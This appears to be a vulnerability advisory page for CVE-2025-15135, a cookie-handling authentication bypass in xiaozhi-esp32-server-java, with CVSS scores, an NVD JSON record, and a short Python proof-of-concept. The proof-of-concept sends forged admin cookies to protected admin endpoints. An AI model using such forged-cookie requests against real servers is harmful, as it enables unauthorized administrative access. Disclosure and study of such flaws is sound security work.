Security Vulnerability Report
中文
CVE-2025-15135 CVSS 6.3 MEDIUM

CVE-2025-15135

Published: 2025-12-28 12:15:41
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in joey-zhou xiaozhi-esp32-server-java up to 3.0.0. This impacts the function tryAuthenticateWithCookies of the file AuthenticationInterceptor.java of the component Cookie Handler. Executing manipulation can lead to improper authentication. The attack can be launched remotely. The exploit has been made available to the public and could be exploited. Upgrading to version 4.0.0 will fix this issue. It is recommended to upgrade the affected component.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

joey-zhou/xiaozhi-esp32-server-java 1.0.0
joey-zhou/xiaozhi-esp32-server-java 2.0.0
joey-zhou/xiaozhi-esp32-server-java 2.5.0
joey-zhou/xiaozhi-esp32-server-java 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-15135 PoC - Cookie Authentication Bypass # Target: xiaozhi-esp32-server-java <= 3.0.0 def exploit_cookie_bypass(target_url): """ Exploit for CVE-2025-15135 Cookie Handler Authentication Bypass via tryAuthenticateWithCookies """ # Step 1: Obtain a valid session cookie through normal login or observation initial_cookie = { 'session_id': 'test_session', 'user_id': 'attacker_controlled_id', 'auth_level': '1' } # Step 2: Craft malicious cookie with elevated privileges # The vulnerable function does not properly validate cookie integrity malicious_cookie = { 'session_id': 'valid_session_from_legitimate_user', 'user_id': 'admin', # Attempt privilege escalation 'auth_level': '999', # Try to set highest privilege level 'is_admin': 'true' } # Step 3: Send request with malicious cookie headers = { 'Cookie': '; '.join([f'{k}={v}' for k, v in malicious_cookie.items()]) } # Target protected endpoints protected_endpoints = [ '/api/admin/users', '/api/admin/config', '/api/admin/system' ] for endpoint in protected_endpoints: url = f'{target_url}{endpoint}' response = requests.get(url, headers=headers) print(f'Endpoint: {endpoint}') print(f'Status: {response.status_code}') print(f'Response: {response.text[:200]}') print('-' * 50) # Usage if __name__ == '__main__': target = 'http://target-device:8080' exploit_cookie_bypass(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15135", "sourceIdentifier": "[email protected]", "published": "2025-12-28T12:15:41.310", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in joey-zhou xiaozhi-esp32-server-java up to 3.0.0. This impacts the function tryAuthenticateWithCookies of the file AuthenticationInterceptor.java of the component Cookie Handler. Executing manipulation can lead to improper authentication. The attack can be launched remotely. The exploit has been made available to the public and could be exploited. Upgrading to version 4.0.0 will fix this issue. It is recommended to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143", "source": "[email protected]"}, {"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143#issue-3722315701", "source": "[email protected]"}, {"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143#issuecomment-3666534810", "source": "[email protected]"}, {"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/releases/tag/v4.0.0", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.338513", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.338513", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.713990", "source": "[email protected]"}]}}